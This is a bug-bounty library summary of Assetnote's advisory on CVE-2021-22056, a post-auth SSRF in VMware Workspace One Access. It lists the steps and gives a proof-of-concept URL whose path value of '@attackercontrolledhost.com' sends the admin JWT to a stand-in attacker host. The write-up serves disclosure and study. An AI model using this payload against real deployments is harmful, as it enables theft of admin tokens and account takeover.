# Advisory: VMWare Workspace One Access (CVE-2021-22056)

Post-auth SSRF in VMware Workspace One Access instanceHealth endpoint lets an admin send requests to arbitrary origins and leak the admin JWT via the Authorization header.

- Payout: Research
- Severity: high
- Program: VMware Workspace One Access
- Write-up by: Assetnote
- Disclosed: 2024-01-08
- CVE: CVE-2021-22056
- Write-up quality: 6/10
- Original: https://www.assetnote.io/resources/research/advisory-vmware-workspace-one-access-cve-2021-22056
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-advisory-vmware-workspace-one-access-cve-2021-22056
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:research sev:high tech:jwt technique:source-review vuln:account-takeover vuln:info-disclosure vuln:ssrf

**Target:** REST endpoint /SAAS/API/1.0/REST/system/health/instanceHealth
**Root cause:** The instanceHealth endpoint builds a URL from user-supplied hostName/path parameters without a slash separator, so the path value can redirect the request to an attacker-controlled origin. The Authorization header carrying an admin JWT is forwarded with the request.
**Steps:**
1. Authenticate as an administrator in Workspace One Access
2. Send `GET /SAAS/API/1.0/REST/system/health/instanceHealth?hostName=access.reverse.test&path=@attackercontrolledhost.com`
3. Server issues the request to the attacker-controlled host, forwarding the Authorization header
4. Attacker reads the full response and captures the admin JWT
**Exploitation:** An authenticated admin is induced to view an image or make a single click that triggers the crafted instanceHealth request; the server forwards the admin Authorization header to the attacker's host, who captures the JWT and reuses it for account takeover.
**Escalation:** Leaked admin JWT enables full account takeover of the administrator.
**Insight:** Look at server-side URL-building endpoints that concatenate host and path params; a missing slash lets the path override the origin, and any forwarded auth header leaks to the attacker.

## Proof of concept (copied exactly from the original report)

**SSRF request to arbitrary host via instanceHealth**

```
https://access.reverse.test/SAAS/API/1.0/REST/system/health/instanceHealth?hostName=access.reverse.test&path=@attackercontrolledhost.com
```

## Write-ups of the same bug (oldest first)
- 2024-01-08: [Advisory: VMWare Workspace One Access (CVE-2021-22056)](https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-advisory-vmware-workspace-one-access-cve-2021-22056) — Assetnote (this one)
- 2024-01-31: [Stealing administrative JWT's through post auth SSRF (CVE-2021-22056)](https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-stealing-administrative-jwts-through-post-auth-ssrf-cve-2021-22056) — Assetnote